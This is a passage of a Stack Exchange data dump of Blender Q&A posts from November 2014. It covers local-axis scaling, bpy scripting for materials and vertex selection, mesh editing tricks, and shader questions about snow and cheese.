  <row Id="18574" PostTypeId="2" ParentId="18562" CreationDate="2014-11-06T13:32:12.023" Score="2" Body="&lt;p&gt;Try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;const.inverse_matrix = target.matrix_world.inverted()   &#xA;obj.update_tag({'OBJECT'})&#xA;bpy.context.scene.update()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This does not show up immediatly. You have to update the view / tag the region for redraw.&lt;/p&gt;&#xA;" OwnerUserId="2271" LastEditorUserId="2271" LastEditDate="2014-11-06T14:01:46.067" LastActivityDate="2014-11-06T14:01:46.067" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18576" PostTypeId="1" AcceptedAnswerId="18580" CreationDate="2014-11-06T15:27:07.530" Score="20" ViewCount="49115" Body="&lt;p&gt;I have an object which is rotated and not parallel to any axis. The picture shows how it looks if I scale four vertices along the y-axis. How can I extend the vertices along the local axis of the object?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/loPiy.png&quot; alt=&quot;transform along global axes&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="4889" LastEditorUserId="2217" LastEditDate="2014-11-06T19:52:00.090" LastActivityDate="2014-11-07T14:49:13.587" Title="How to scale along the local axis of an object?" Tags="&lt;mesh&gt;&lt;transforms&gt;&lt;vertices&gt;" AnswerCount="5" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18577" PostTypeId="2" ParentId="18576" CreationDate="2014-11-06T15:31:21.110" Score="8" Body="&lt;p&gt;Change your transform orientation to &lt;em&gt;Local&lt;/em&gt;, then you can use the &lt;em&gt;3D Manipulator&lt;/em&gt; set to &lt;em&gt;Scale&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7MDNA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2014-11-06T20:55:39.657" LastActivityDate="2014-11-06T20:55:39.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18578" PostTypeId="2" ParentId="18576" CreationDate="2014-11-06T15:33:56.023" Score="3" Body="&lt;p&gt;You can change the transform handle space with the marked button:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/q9i8r.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;Changing it to local will make the transform in the objects local space. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you change it to normal it will force to Z-axis to be parallel to the face's normal which is useful if the mech is rotated in edit mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To access the different spaces using keyboard shortcuts, after selecting one from the drop down menu you might need to double press the constrain axis&lt;/p&gt;&#xA;" OwnerUserId="1479" LastActivityDate="2014-11-06T15:33:56.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18579" PostTypeId="2" ParentId="18576" CreationDate="2014-11-06T15:35:58.830" Score="9" Body="&lt;p&gt;In addition to iKlsR's answer, you can hit &lt;kbd&gt;Y&lt;/kbd&gt; (or &lt;kbd&gt;X&lt;/kbd&gt; or &lt;kbd&gt;Z&lt;/kbd&gt;) twice after hitting &lt;kbd&gt;G&lt;/kbd&gt; (or &lt;kbd&gt;S&lt;/kbd&gt; or &lt;kbd&gt;R&lt;/kbd&gt;), this will move along the object's local y, x, or z axis.&lt;/p&gt;&#xA;" OwnerUserId="5705" LastEditorUserId="5705" LastEditDate="2014-11-07T14:49:13.587" LastActivityDate="2014-11-07T14:49:13.587" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18580" PostTypeId="2" ParentId="18576" CreationDate="2014-11-06T15:36:19.970" Score="24" Body="&lt;p&gt;When you are in edit mode, select the desired vertices, press &lt;kbd&gt;S&lt;/kbd&gt;, and then press either &lt;kbd&gt;X&lt;/kbd&gt;, &lt;kbd&gt;Y&lt;/kbd&gt;, or &lt;kbd&gt;Z&lt;/kbd&gt; twice in a row. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After the first press it will transform along the global orientation as usual:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZLnRu.png&quot; alt=&quot;default&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After the second press it will use the transform orientation selected in &lt;em&gt;3D view &gt; header&lt;/em&gt;, which is set to &lt;em&gt;local&lt;/em&gt; by default:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Y5i27.png&quot; alt=&quot;new&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the orientation is set to &lt;em&gt;global&lt;/em&gt; pressing the axis key (&lt;kbd&gt;X&lt;/kbd&gt;,&lt;kbd&gt;Y&lt;/kbd&gt;,&lt;kbd&gt;Z&lt;/kbd&gt;) twice will still use the corresponding local axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This solution does not work if the vertices were rotated in edit mode. For that you may have to change the transform orientation to normal, and manually move the edges. &lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="6204" LastEditDate="2014-11-07T11:48:06.987" LastActivityDate="2014-11-07T11:48:06.987" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18581" PostTypeId="2" ParentId="18544" CreationDate="2014-11-06T16:12:59.343" Score="1" Body="&lt;p&gt;Yes, you can.  You will need a second material and then assign that material to the face.  Here is an example I concocted which affects the faces you have selected in EDIT mode:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;&#xA;def get_other_material():&#xA;    mat = bpy.data.materials.get(&quot;pants&quot;)&#xA;    if mat is None:&#xA;        mat = bpy.data.materials.new(&quot;pants&quot;)&#xA;        mat.diffuse_color = (0.8, 0.6, 0)&#xA;    return mat&#xA;&#xA;def setPolyMaterial(obj, polyIdxs):&#xA;    if len(obj.data.materials)&amp;lt;2:&#xA;        obj.data.materials.append(get_other_material())&#xA;    material_index = 1&#xA;&#xA;    if bpy.context.mode == 'EDIT_MESH':&#xA;        bm = bmesh.from_edit_mesh(obj.data)    &#xA;        for idx in polyIdxs:&#xA;            bm.faces[idx].material_index = material_index&#xA;        bmesh.update_edit_mesh(obj.data)&#xA;    else:&#xA;        for idx in polyIdxs:&#xA;            obj.data.polygons[idx].material_index = material_index&#xA;&#xA;obj = bpy.context.active_object&#xA;if bpy.context..mode == 'EDIT_MESH':&#xA;    bm = bmesh.from_edit_mesh(obj.data)&#xA;    polyIdxs = [ f.index for f in bm.faces if f.select ]&#xA;else:&#xA;    polyIdxs = [ p.index for p in obj.data.polygons if p.select ]&#xA;setPolyMaterial( obj, polyIdxs)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I personally prefer to avoid anything from bpy.ops if I can because it requires you to mess with the editor state; and exactly what state you must adjust is entirely undocumented (although usually straightforward, USUALLY).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to alter anything other than the diffuse_color, you can hover your mouse over the field and a pop-up will usually appear giving you an indication of the path to that property in python code (although sometimes it is truncated and you have to go to #blenderpython for an answer)&lt;/p&gt;&#xA;" OwnerUserId="660" LastActivityDate="2014-11-06T16:12:59.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18582" PostTypeId="1" AcceptedAnswerId="18583" CreationDate="2014-11-06T16:16:10.910" Score="5" ViewCount="1993" Body="&lt;p&gt;how to get number of selected vertex and the number of total vertex with python?&#xA;and how can I select an object by its name and make it the active?&lt;/p&gt;&#xA;" OwnerUserId="5794" LastActivityDate="2014-11-06T16:46:47.177" Title="how to get number of selected vertex and the number of total vertex with python?" Tags="&lt;scripting&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18583" PostTypeId="2" ParentId="18582" CreationDate="2014-11-06T16:23:08.547" Score="8" Body="&lt;p&gt;You have multiple questions there:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;&#xA;&#xA;obj = bpy.context.active_object&#xA;if bpy.context.mode == 'EDIT_MESH':&#xA;    bm = bmesh.from_edit_mesh(obj.data)&#xA;    verts = [ v.index for v in bm.verts if v.select ]&#xA;else:&#xA;    verts = [ v.index for v in obj.data.vertices if v.select ]&#xA;&#xA;print(verts)&#xA;print(len(obj.data.vertices))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and for the second question:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.scene.objects.active = bpy.data.objects[name]&#xA;# fix shortcoming identified by Omar :&#xA;for obj in bpy.context.scene.objects:&#xA;    obj.select = ( obj == bpy.context.scene.objects.active)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="660" LastEditorUserId="660" LastEditDate="2014-11-06T16:46:47.177" LastActivityDate="2014-11-06T16:46:47.177" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18584" PostTypeId="2" ParentId="18538" CreationDate="2014-11-06T16:27:23.383" Score="2" Body="&lt;p&gt;I had this exact problem about a week ago.  IRC told me that the face normals on one of my objects were probably backwards.  It turns out they were correct.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can turn on the display of face normals in EDIT mode using one of the icons in the Mesh Display section of the N pop-out panel.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can reverse the direction of the normals of the currently selected faces using the Mesh &gt; Normals &gt; Flip Normals operator.  There are also some &quot;smarter&quot; operations in that same menu.&lt;/p&gt;&#xA;" OwnerUserId="660" LastActivityDate="2014-11-06T16:27:23.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18585" PostTypeId="2" ParentId="18513" CreationDate="2014-11-06T16:38:21.913" Score="1" Body="&lt;p&gt;The simple way to solve your problem is to use a Boolean modifier and intersect with a really big box spanning z=-1..1 , but eventually you will want to do something to a mesh that isn't so simple.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You're going to want the bmesh module:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_67_release/bmesh.html&quot; rel=&quot;nofollow&quot;&gt;http://www.blender.org/documentation/blender_python_api_2_67_release/bmesh.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It has access to the vertices, edges, and faces of the mesh with the ability to add, modify, and remove any of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For an example I'll include the code from &lt;a href=&quot;http://web.purplefrog.com/~thoth/blender/python-cookbook/squish-mesh-axis.html&quot; rel=&quot;nofollow&quot;&gt;http://web.purplefrog.com/~thoth/blender/python-cookbook/squish-mesh-axis.html&lt;/a&gt; :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bmesh&#xA;import bpy&#xA;&#xA;&#xA;def stretchAxis(mesh, idx, tgt_min, tgt_max):&#xA;    &quot;&quot;&quot; Squish/stretch the vertex coordinates of a mesh so that their .co[idx] ranges from tgt_min to tgt_max. &quot;&quot;&quot;&#xA;    bm = bmesh.new()&#xA;    bm.from_mesh(mesh)&#xA;&#xA;    min = bm.verts[0].co[idx]&#xA;    max = min&#xA;&#xA;    for v in bm.verts:&#xA;        val = v.co[idx]&#xA;        if (val&amp;lt;min):&#xA;            min = val&#xA;        if (val &amp;gt; max):&#xA;            max = val&#xA;&#xA;    # remap co[idx] from min..max to tgt_min..tgt_max&#xA;    for v in bm.verts:&#xA;        old = v.co[idx]&#xA;        v.co[idx] = (old-min)*(tgt_max-tgt_min) / (max-min) +tgt_min&#xA;    bm.to_mesh(mesh)&#xA;    bm.free()&#xA;&#xA;#&#xA;# squish or stretch all the selected meshes to a specific thickness along a&#xA;# specific axis.&#xA;#&#xA;&#xA;idx = 2 # the z coordinate&#xA;for obj in bpy.context.scene.objects:&#xA;    if (obj.select):&#xA;        stretchAxis(obj.data, idx, 0, 1)&#xA;        obj.location[idx] = 1&#xA;        obj.scale[idx] = 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Although this example does not alter the TOPOLOGY (faces and edges).  It only adjusts the position of the vertices.&lt;/p&gt;&#xA;" OwnerUserId="660" LastActivityDate="2014-11-06T16:38:21.913" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18586" PostTypeId="2" ParentId="18366" CreationDate="2014-11-06T17:03:05.533" Score="0" Body="&lt;p&gt;I don't know if this is an option for you, but you could Join the meshes (Ctrl-J) into a single mesh, eliminating the need for Fixed constraints.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that is not an option, then increasing the number of iterations as suggested by gandalf3 and user2859 is probably the best way to work around the wiggle inherent in the Bullet physics engine.&lt;/p&gt;&#xA;" OwnerUserId="660" LastActivityDate="2014-11-06T17:03:05.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18587" PostTypeId="2" ParentId="18323" CreationDate="2014-11-06T17:08:03.613" Score="-1" Body="&lt;p&gt;You'll probably need to set the parent of the bones, and make sure the Connected option is checked in the bone properties panel.&lt;/p&gt;&#xA;" OwnerUserId="660" LastActivityDate="2014-11-06T17:08:03.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18588" PostTypeId="2" ParentId="18319" CreationDate="2014-11-06T17:11:30.340" Score="1" Body="&lt;p&gt;try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;se = bpy.context.scene.sequence_editor&#xA;se.active_strip = se.sequences['0001.png']&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There appears to be some lag in the UI that I'm not sure how to work around.&lt;/p&gt;&#xA;" OwnerUserId="660" LastActivityDate="2014-11-06T17:11:30.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18589" PostTypeId="2" ParentId="18565" CreationDate="2014-11-06T17:14:40.023" Score="7" Body="&lt;p&gt;Currently knife would be good to use. For this particular case, there are some tricks to do it even faster:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Trick 1:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Select all intersected edges, then &lt;kbd&gt;P&lt;/kbd&gt; &gt; &lt;strong&gt;Selection&lt;/strong&gt;;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;kbd&gt;Space&lt;/kbd&gt; to quickly search for &lt;strong&gt;Knife Project&lt;/strong&gt; tool.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Switch to &lt;strong&gt;Object Mode&lt;/strong&gt;, delete the separated object (edges).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KZL2I.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Trick 2:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the n-gon face while using &lt;em&gt;Face Select&lt;/em&gt; mode, then switch to &lt;em&gt;Vertex Select&lt;/em&gt; mode to quickly select related elements (or simply press &lt;kbd&gt;A&lt;/kbd&gt; to select all elements in this case);&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Hit &lt;kbd&gt;Space&lt;/kbd&gt; to search for &lt;strong&gt;Split by Edge&lt;/strong&gt; tool;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the two vertices on that horizontal edge, then press &lt;kbd&gt;J&lt;/kbd&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zUxGQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;P.S.:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some addons that are aimed to split intersecting edges, such as zeffii's &lt;a href=&quot;https://gist.github.com/zeffii/5539910&quot; rel=&quot;nofollow noreferrer&quot;&gt;X ALL&lt;/a&gt;, nixy's &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?338703-Addon-Boolean-2D-Union&quot; rel=&quot;nofollow noreferrer&quot;&gt;Boolean 2D Union&lt;/a&gt;, even the powerful &lt;a href=&quot;http://nikitron.cc.ua/sverchok_ru.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Sverchok&lt;/a&gt; can handle some situations. they all got pros and cons, however. IMHO, We really need an internal tool to perfectly handle it (something like an enhanced version of the current &lt;strong&gt;Split by Edge&lt;/strong&gt; tool).&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2014-11-09T07:51:31.897" LastActivityDate="2014-11-09T07:51:31.897" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18590" PostTypeId="1" AcceptedAnswerId="119564" CreationDate="2014-11-06T17:26:37.270" Score="4" ViewCount="341" Body="&lt;p&gt;I would like to know if it's possible to get something periodic only through the parameters of the musgrave node with cycles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;sorry if my question isn't clear, here is an example of what I'm doing:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Se6uq.png&quot; alt=&quot;http://i.stack.imgur.com/Se6uq.png&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the brick texture node is periodic, I mean f(0)=f(2*pi) while the Musgrave texture gives something with a discontinuity. Honestly I don't think it's possible to solve this problem trough musgrave node in general case, because I guess it uses a pseudo random generator and when you code a such thing you search to avoid periodicity.&lt;/p&gt;&#xA;" OwnerUserId="6220" LastEditorUserId="2217" LastEditDate="2014-11-07T00:59:09.743" LastActivityDate="2020-08-25T21:14:25.937" Title="how to set musgrave to get something periodic?" Tags="&lt;cycles-render-engine&gt;&lt;nodes&gt;" AnswerCount="1" CommentCount="7" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18591" PostTypeId="1" AcceptedAnswerId="18607" CreationDate="2014-11-06T17:34:20.873" Score="9" ViewCount="2462" Body="&lt;p&gt;I want to make realistic looking cheese, I think the best way to do it is by using Subsurface Scattering in some way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a reference image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/A1CLf.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5980" LastEditorUserId="241" LastEditDate="2020-05-27T13:28:09.487" LastActivityDate="2020-05-27T13:28:09.487" Title="Approach for a Cheese material with SSS in Cycles?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;subsurface-scattering&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="18593" PostTypeId="2" ParentId="5524" CreationDate="2014-11-06T19:49:40.027" Score="4" Body="&lt;p&gt;This is not a very efficient way of doing this because it requires rendering the entire $360^\circ \times 180^\circ$ image and then cropping off a good chunk of it, but it seems to be the only option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a diagram:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/plHFP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$H$ is the height of the $360^\circ \times 180^\circ$ image, $h$ is the height of the cropped ($360°\times n^\circ$) image, and $n$ is the desired angle.  When $n$ is $180^\circ$ we can see that $D$ would be $\frac{1}{2}$ the height of the image so $D=\frac{H}{2}$.  From here it is just a little simple trigonometry and we can get:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$$&#xA;h = \sin(\frac{n}{2})\frac{H}{2}2 = \sin(\frac{n}{2})H&#xA;$$&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using your example of $30^\circ$ we get $h = \sin(15) H ≈ 0.26 H$  A slight rearrangement gives $H ≈ \frac{h}{0.26}$ which you can use to plug in the desired height and get the height you must use to render.&lt;/p&gt;&#xA;" OwnerUserId="5705" LastEditorUserId="5794" LastEditDate="2018-02-22T19:04:08.780" LastActivityDate="2018-02-22T19:04:08.780" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18594" PostTypeId="1" CreationDate="2014-11-06T21:15:31.717" Score="1" ViewCount="158" Body="&lt;p&gt;I have three obj files: a ship, a turret and a gun.&lt;br&gt;&#xA;I want to import these back into Blender and output such that the g3DJ file contains three seperate &quot;nodes&quot; (as achieved by Xoppa of libgdx fame - probably using Maya).&#xA;All I get is one node with &quot;children&quot; having 3 &quot;parts&quot;.&#xA;How do I achieve seperate &quot;node&quot; output?&lt;/p&gt;&#xA;" OwnerUserId="7866" LastEditorUserId="2617" LastEditDate="2014-11-07T02:10:44.683" LastActivityDate="2015-03-07T23:12:37.623" Title="How to output 3 objects as 3 seperate nodes in a g3dj file" Tags="&lt;export&gt;&lt;nodes&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18597" PostTypeId="2" ParentId="18576" CreationDate="2014-11-06T22:38:42.410" Score="7" Body="&lt;p&gt;By default, all you have to do is press the axis key twice, e.g. &lt;kbd&gt;S&lt;/kbd&gt;&lt;kbd&gt;Y&lt;/kbd&gt;&lt;kbd&gt;Y&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JmaCq.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In most cases, pressing the axis key twice will use the transform orientation specified in &lt;em&gt;3D view &gt; Header&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iJYUQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However there is one exception, as you can see in the gif above. Even though the transform orientation is set to &lt;em&gt;Global&lt;/em&gt;, &lt;kbd&gt;S&lt;/kbd&gt;&lt;kbd&gt;Y&lt;/kbd&gt;&lt;kbd&gt;Y&lt;/kbd&gt; uses the &lt;em&gt;Local&lt;/em&gt; orientation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is probably because pressing the axis key once (&lt;kbd&gt;S&lt;/kbd&gt;&lt;kbd&gt;Y&lt;/kbd&gt;) &lt;em&gt;always&lt;/em&gt; uses global axes, and it would be pointless to have a setting where &lt;kbd&gt;S&lt;/kbd&gt;&lt;kbd&gt;Y&lt;/kbd&gt; and &lt;kbd&gt;S&lt;/kbd&gt;&lt;kbd&gt;Y&lt;/kbd&gt;&lt;kbd&gt;Y&lt;/kbd&gt; do the same thing.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Transform orientations are quite useful, and I recommend you have a look at the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Transform_Control/Transform_Orientations&quot; rel=&quot;noreferrer&quot;&gt;wiki&lt;/a&gt; if you haven't already.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also note that you can define &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Transform_Control/Transform_Orientations#Custom_Orientations&quot; rel=&quot;noreferrer&quot;&gt;custom orientations&lt;/a&gt; with &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;&amp;#9095; Alt&lt;/kbd&gt;&lt;kbd&gt;Space&lt;/kbd&gt;, e.g.:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/66IQk.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-11-06T22:38:42.410" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18599" PostTypeId="1" CreationDate="2014-11-07T00:34:23.840" Score="2" ViewCount="2596" Body="&lt;p&gt;So I'm really new to blender and I'm trying to get a book to catch on fire and fall over, but for some reason the domain for the smoke system is totally black. Not sure what to do or what I did. Any idea what's happening?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lJxPb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WRoUO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's how it looks before I hit play&lt;/p&gt;&#xA;" OwnerUserId="7870" LastEditorUserId="2217" LastEditDate="2014-11-07T14:20:36.493" LastActivityDate="2017-12-09T18:35:49.817" Title="Smoke Domain object is black" Tags="&lt;cycles-render-engine&gt;&lt;3d-view&gt;&lt;smoke-simulation&gt;" AnswerCount="3" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="18600" PostTypeId="2" ParentId="18550" CreationDate="2014-11-07T03:06:54.467" Score="3" Body="&lt;p&gt;That is exactly what the &lt;strong&gt;Search&lt;/strong&gt; tool is used for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4lGhh.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Tip:&lt;/strong&gt; You can also filter channels by data types with the &lt;strong&gt;Filter&lt;/strong&gt; tool nearby on the same header, if you need to.&lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2014-11-07T03:06:54.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18601" PostTypeId="1" CreationDate="2014-11-07T03:41:35.817" Score="2" ViewCount="230" Body="&lt;p&gt;I've get a mesh with a uv image texture on it. I'd like to animate peeling the surface off.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to do with by duplicating a square region of mesh, and animate it peeling back using shape keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm having trouble modifying the mesh without stretching the mesh. Is there a good strategy to get my mesh peeled away without distorting its UV map?&lt;/p&gt;&#xA;" OwnerUserId="822" LastActivityDate="2014-11-07T03:41:35.817" Title="Locking Face Area in Edit Mode" Tags="&lt;mesh&gt;&lt;uv&gt;" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18602" PostTypeId="1" AcceptedAnswerId="18641" CreationDate="2014-11-07T03:48:33.293" Score="2" ViewCount="1082" Body="&lt;p&gt;How is this smoother, it keeps wrinkling everything like forking pie crust&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ball2000.net/blender/images/GeeThanks.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;pie wrinkles http://ball2000.net/blender/images/GeeThanks.jpg&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7610" LastEditorUserId="599" LastEditDate="2014-11-08T08:30:55.827" LastActivityDate="2014-11-08T08:30:55.827" Title="&quot;Smooth Vertex&quot; wrinkles mesh instead of smoothing it" Tags="&lt;modeling&gt;&lt;mesh&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18603" PostTypeId="1" CreationDate="2014-11-07T04:35:59.310" Score="16" ViewCount="17899" Body="&lt;p&gt;I have looked at many snow shaders, but haven't yet come up with one that looks good. I have many examples of not so good looking snow that I have tried to make. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have looked at these materials:&lt;br&gt;&#xA;&lt;a href=&quot;http://www.youtube.com/watch?feature=player_detailpage&amp;amp;v=A7IJntuBgXU&amp;amp;list=UU-cNWAoyT8C2N1ZJvPolS-Q&quot; rel=&quot;noreferrer&quot;&gt;Youtube tutorial&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://blenderartists.org/forum/showthread.php?325956-Winter&amp;amp;p=2569588&amp;amp;viewfull=1#post2569588&quot; rel=&quot;noreferrer&quot;&gt;thread on blender artists&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://www.blendswap.com/blends/view/72503&quot; rel=&quot;noreferrer&quot;&gt;about the same material on blendswap&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://www.blendswap.com/blends/view/66029&quot; rel=&quot;noreferrer&quot;&gt;another material on blendswap&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of which have disappointed me in some way.&lt;br&gt;&#xA;I'm looking for some way to capture the displacement, both small and large, the bright highlights of glistening snow, and the subtle grain over all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are two reference images I took last winter.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/5rEkI.jpg&quot; alt=&quot;close up of snow&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/CS04s.jpg&quot; alt=&quot;snow&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2014-11-07T20:09:24.427" LastActivityDate="2020-11-19T16:34:23.720" Title="How to make a realistic snow material in Cycles?" 